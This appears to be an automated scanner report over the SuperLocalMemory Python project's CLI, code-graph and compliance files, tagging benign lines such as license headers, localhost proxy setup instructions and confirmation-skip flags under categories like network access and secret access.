# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/gdpr_io.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/help_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 90
Default port: 8765 Anthropic surface: http://127.0.0.1:8765 - Network accessline 91
Anthropic surface: http://127.0.0.1:8765 - Network accessline 92
OpenAI surface: http://127.0.0.1:8765/v1 - Network accessline 101
Option A — environment variable (per-session): export ANTHROPIC_BASE_URL=http://127.0.0.1:8765 - Network accessline 102
export ANTHROPIC_BASE_URL=http://127.0.0.1:8765 - Network accessline 108
Option C — permanent (add to ~/.zshrc or ~/.bashrc): echo 'export ANTHROPIC_BASE_URL=http://127.0.0.1:8765' >> ~/.zshrc - Network accessline 109
echo 'export ANTHROPIC_BASE_URL=http://127.0.0.1:8765' >> ~/.zshrc - Network accessline 118
Add or update this line under the [api] section: [api] base_url = "http://127.0.0.1:8765" - Network accessline 120
base_url = "http://127.0.0.1:8765" - Network accessline 125
Verify: antigravity --debug -> look for "base_url: http://127.0.0.1:8765" - Network accessline 127
--- Generic OpenAI-compatible clients (Cline, Cursor, Aider, OpenCode) --- Any client that accepts an OpenAI base_url can use the /v1 surface: base_url = http://127.0.0.1:8765/v1 - Network accessline 128
[Credential-related source omitted] - Network accessline 129
base_url = http://127.0.0.1:8765/v1 - Access to secretsline 130
[Credential-related source omitted] - Network accessline 132
Aider: aider --openai-api-base http://127.0.0.1:8765/v1 - Network accessline 133
aider --openai-api-base http://127.0.0.1:8765/v1 - Network accessline 135
Cline (VS Code settings.json): "cline.openAiBaseUrl": "http://127.0.0.1:8765/v1" - Network accessline 136
"cline.openAiBaseUrl": "http://127.0.0.1:8765/v1" - Network accessline 138
Cursor (Settings > Models > Base URL): http://127.0.0.1:8765/v1 - Network accessline 139
http://127.0.0.1:8765/v1 - Network accessline 141
OpenCode / other CLI tools: OPENAI_BASE_URL=http://127.0.0.1:8765/v1 opencode - Network accessline 142
OPENAI_BASE_URL=http://127.0.0.1:8765/v1 opencode - Network accessline 168
Documentation: https://superlocalmemory.com - Network accessline 169
GitHub: https://github.com/qualixar/superlocalmemory - Network accessline 170
AI Reliability Engineering by @varunPbhardwaj — https://qualixar.com
src/superlocalmemory/cli/host_upgrades.py
src/superlocalmemory/cli/ingest_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/integrity_cmd.py
- Executable scriptline 1
Executable file - Network accessline 205
"reports it malformed. Your memories are untouched. Run `slm doctor --deep` " "and report this with its output at " "https://github.com/qualixar/superlocalmemory/issues", file=sys.stderr) - Network accessline 206
"and report this with its output at " "https://github.com/qualixar/superlocalmemory/issues", file=sys.stderr) return 1 - Network accessline 207
"https://github.com/qualixar/superlocalmemory/issues", file=sys.stderr)
src/superlocalmemory/cli/json_output.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/kinds_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 354
# uuid.uuid4().hex[:16] (storage/memory_kind_store.py::create_run), so # anything outside [A-Za-z0-9_-]+ is rejected here, before it reaches # an f-string path, instead of letting http.client discover it. - Network accessline 356
# an f-string path, instead of letting http.client discover it.
src/superlocalmemory/cli/laya_offer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 44
[Credential-related source omitted]
src/superlocalmemory/cli/loop_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/main.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 71
documentation: Website: https://superlocalmemory.com - Network accessline 72
Website: https://superlocalmemory.com - Network accessline 73
GitHub: https://github.com/qualixar/superlocalmemory - Network accessline 74
Paper: https://arxiv.org/abs/2608.08253 - Network accessline 287
provider_p.add_argument( "--endpoint", metavar="URL", default=None, help="Endpoint URL for provider=custom (e.g. http://192.168.1.50:8041/v1)", - Network accessline 288
"--endpoint", metavar="URL", default=None, help="Endpoint URL for provider=custom (e.g. http://192.168.1.50:8041/v1)", ) - Network accessline 289
help="Endpoint URL for provider=custom (e.g. http://192.168.1.50:8041/v1)", - Access to secretsline 292
[Credential-related source omitted] - Instruction override signalline 644
forget_p.add_argument("--yes", "-y", action="store_true", help="Skip confirmation prompt") - Instruction override signalline 647
delete_p = sub.add_parser("delete", help="Delete a specific memory by ID (precise)") delete_p.add_argument("fact_id", help="Exact fact ID to delete") delete_p.add_argument("--yes", "-y", action="store_true", help="Skip confirmation" - Instruction override signalline 648
delete_p.add_argument("fact_id", help="Exact fact ID to delete") delete_p.add_argument("--yes", "-y", action="store_true", help="Skip confirmation") delete_p.add_argument( - Instruction override signalline 649
delete_p.add_argument("--yes", "-y", action="store_true", help="Skip confirmation")
src/superlocalmemory/cli/media_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/mesh_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/migrate_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/model_choice.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/models_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/mutation_conflict.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/ops_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 29
import http.client as _hclient - Network accessline 43
# Issue #148: building or sending a request can itself raise -- a non-ASCII # path segment fails deep inside http.client's request-line encoding - Network accessline 44
# path segment fails deep inside http.client's request-line encoding - Network accessline 45
# (UnicodeEncodeError), and an ASCII-but-unsafe one (a space, a control # character) fails its path validation (http.client.InvalidURL). Both are # malformed-input errors, never caught by the HTTPError/URLError handling - Network accessline 46
# character) fails its path validation (http.client.InvalidURL). Both are - Network accessline 91
port = _owned_daemon_port() url = f"http://127.0.0.1:{port}{path}" - Network accessline 92
url = f"http://127.0.0.1:{port}{path}" - Network accessline 94
# Only the connect+send phase is wrapped: this is where # http.client actually raises on a bad path (see - Network accessline 95
# http.client actually raises on a bad path (see - Network accessline 117
# that cannot be built or sent must still end in a friendly # one-liner, not whatever stdlib exception leaked out of # http.client. - Network accessline 119
# http.client. - Network accessline 129
port = _owned_daemon_port() url = f"http://127.0.0.1:{port}{path}" - Network accessline 130
url = f"http://127.0.0.1:{port}{path}" - Network accessline 264
# slash -- cannot be a real ID. Reject it here, before it is ever # interpolated into a path or reaches a socket, instead of letting # http.client discover the problem by crashing on it. - Network accessline 266
# http.client discover the problem by crashing on it.
src/superlocalmemory/cli/ops_repair_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/optimize_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/optimize_constants.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/outcome_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/pending_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/provider_custom_endpoint.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 27
[Credential-related source omitted] - Network accessline 47
if not endpoint and interactive and is_interactive(): endpoint = _prompt( " Endpoint URL (e.g. http://192.168.1.50:8041/v1 or " - Network accessline 48
endpoint = _prompt( " Endpoint URL (e.g. http://192.168.1.50:8041/v1 or " "http://localhost:8080/v1): ", - Network accessline 49
" Endpoint URL (e.g. http://192.168.1.50:8041/v1 or " - Network accessline 50
"http://localhost:8080/v1): ", - Network accessline 54
raise ValueError( "provider=custom requires an endpoint URL. Pass --endpoint, e.g.\n" " slm provider set custom --endpoint http://192.168.1.50:8041/v1" - Network accessline 55
"provider=custom requires an endpoint URL. Pass --endpoint, e.g.\n" " slm provider set custom --endpoint http://192.168.1.50:8041/v1" ) - Network accessline 56
" slm provider set custom --endpoint http://192.168.1.50:8041/v1" - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Network accessline 140
client = GatedClient(timeout=httpx.Timeout(10.0))
src/superlocalmemory/cli/proxy_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 61
providers[provider] = ProviderConfig( enabled=existing.enabled, base_url=f"http://localhost:{port}", - Network accessline 62
enabled=existing.enabled, base_url=f"http://localhost:{port}", ) - Network accessline 63
base_url=f"http://localhost:{port}", - Network accessline 83
"status": "running" if running else "failed", "port": port, "anthropic_url": f"http://localhost:{port}", - Network accessline 84
"port": port, "anthropic_url": f"http://localhost:{port}", "openai_url": f"http://localhost:{port}/v1", - Network accessline 85
"anthropic_url": f"http://localhost:{port}", - Network accessline 86
"openai_url": f"http://localhost:{port}/v1", - Network accessline 93
if running: print(f"SLM proxy starting on :{port}...") print(f" Anthropic surface: http://localhost:{port}") - Network accessline 94
print(f"SLM proxy starting on :{port}...") print(f" Anthropic surface: http://localhost:{port}") print(f" OpenAI surface: http://localhost:{port}/v1") - Network accessline 95
print(f" Anthropic surface: http://localhost:{port}") - Network accessline 96
print(f" OpenAI surface: http://localhost:{port}/v1") - Network accessline 97
print() print(f"Set ANTHROPIC_BASE_URL=http://localhost:{port} before running Claude Code.") print("Or run: slm wrap claude") - Network accessline 98
print(f"Set ANTHROPIC_BASE_URL=http://localhost:{port} before running Claude Code.")
src/superlocalmemory/cli/quantize_repair.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/recall_text.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/remote_commands.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 245
context = ssl.create_default_context(cafile=str(ca_path)) try: with socket.create_connection((host, cfg.port), timeout=3) as raw: - Network accessline 246
try: with socket.create_connection((host, cfg.port), timeout=3) as raw: with context.wrap_socket(raw, server_hostname=server_name): - Network accessline 247
with socket.create_connection((host, cfg.port), timeout=3) as raw: - Access to secretsline 270
[Credential-related source omitted] - Network accessline 278
"remote access is off (enable: slm remote enable --listen HOST:PORT)") if cfg is not None: add("PASS", "listener", f"https://{cfg.host}:{cfg.port} for {', '.join(cfg.server_names)}") - Network accessline 279
if cfg is not None: add("PASS", "listener", f"https://{cfg.host}:{cfg.port} for {', '.join(cfg.server_names)}") days = (cfg.not_after - datetime.now(timezone.utc)).days - Network accessline 280
add("PASS", "listener", f"https://{cfg.host}:{cfg.port} for {', '.join(cfg.server_names)}") - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 383
[Credential-related source omitted]
src/superlocalmemory/cli/repair_speaker_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/save_completion.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/scale_engine_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/service_installer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/service_inventory.py
src/superlocalmemory/cli/service_live.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/setup_wizard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Interactive setup wizard for first-time configuration. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 68
try: import httpx resp = httpx.get("http://localhost:11434/api/tags", timeout=1.5) - Network accessline 69
import httpx resp = httpx.get("http://localhost:11434/api/tags", timeout=1.5) if resp.status_code != 200: - Network accessline 70
resp = httpx.get("http://localhost:11434/api/tags", timeout=1.5) - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Network accessline 265
print(" ✓ Ollama found!") else: print(" ⚠ Ollama not found. Install: https://ollama.ai") - Network accessline 266
else: print(" ⚠ Ollama not found. Install: https://ollama.ai") print(" After installing: ollama pull llama3.2") - Network accessline 267
print(" ⚠ Ollama not found. Install: https://ollama.ai") - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 433
[Credential-related source omitted] - Access to secretsline 679
[Credential-related source omitted] - Access to secretsline 690
[Credential-related source omitted] - Access to secretsline 730
[Credential-related source omitted] - Access to secretsline 738
[Credential-related source omitted] - Access to secretsline 739
[Credential-related source omitted] - Access to secretsline 741
[Credential-related source omitted] - Access to secretsline 744
[Credential-related source omitted] - Access to secretsline 746
[Credential-related source omitted] - Access to secretsline 773
[Credential-related source omitted]
src/superlocalmemory/cli/setup_wizard_flow.py
- Executable scriptline 1
Executable file - Network accessline 47
if not state.py_ok: print("\n ✗ Python 3.12+ is required. Please upgrade Python.") print(" https://python.org/downloads/") - Network accessline 48
print("\n ✗ Python 3.12+ is required. Please upgrade Python.") print(" https://python.org/downloads/") raise _SetupStopped() - Network accessline 49
print(" https://python.org/downloads/") - Network accessline 494
state.runtime_port = runtime_port print(f" slm dashboard → http://localhost:{state.runtime_port()}") - Network accessline 495
print(f" slm dashboard → http://localhost:{state.runtime_port()}") - Network accessline 500
print(" slm doctor — diagnose issues (auto-fix: slm doctor --fix)") print(" slm serve install — install auto-start service") print(" https://github.com/qualixar/superlocalmemory") - Network accessline 501
print(" slm serve install — install auto-start service") print(" https://github.com/qualixar/superlocalmemory") from superlocalmemory.cli.star_prompt import print_setup_ask - Network accessline 502
print(" https://github.com/qualixar/superlocalmemory")
src/superlocalmemory/cli/sources_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 263
rm = cmds.add_parser("remove", help="Disconnect a folder")
src/superlocalmemory/cli/star_prompt.py
src/superlocalmemory/cli/stdio_encoding.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 66
[Credential-related source omitted]
src/superlocalmemory/cli/summary_cmd.py
src/superlocalmemory/cli/team_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/tools_cmd.py
src/superlocalmemory/cli/upgrade_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/version_banner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/view_cmd.py
src/superlocalmemory/cli/warmup_readiness.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/wizard_v3426_options.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/code_graph/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/blast_radius.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/entity_resolver.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/event_listeners.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/fact_enricher.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/hebbian_linker.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/bridge/maintenance.py
src/superlocalmemory/code_graph/bridge/temporal_checker.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/changes.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/communities.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/config.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/database.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/extractors/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/extractors/python.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/extractors/typescript.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/flows.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/git_hooks.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/graph_engine.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/graph_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/incremental.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/models.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/parser.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/resolver.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/search.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/service.py
- Executable scriptline 1
Executable file
src/superlocalmemory/code_graph/watcher.py
- Executable scriptline 1
Executable file
src/superlocalmemory/compliance/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/compliance/abac.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/audit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/audit_verify_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/compliance/erase_facts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/erased_cases.py
- Executable scriptline 1
Executable file
src/superlocalmemory/compliance/erasure_backups.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/erasure_code_graph.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/erasure_outcome.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/erasure_sidecars.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/eu_ai_act.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/export_encoding.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/export_stream.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/gdpr.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/gdpr_export.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/gdpr_media_export.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/lifecycle.py
- Network accessline 1
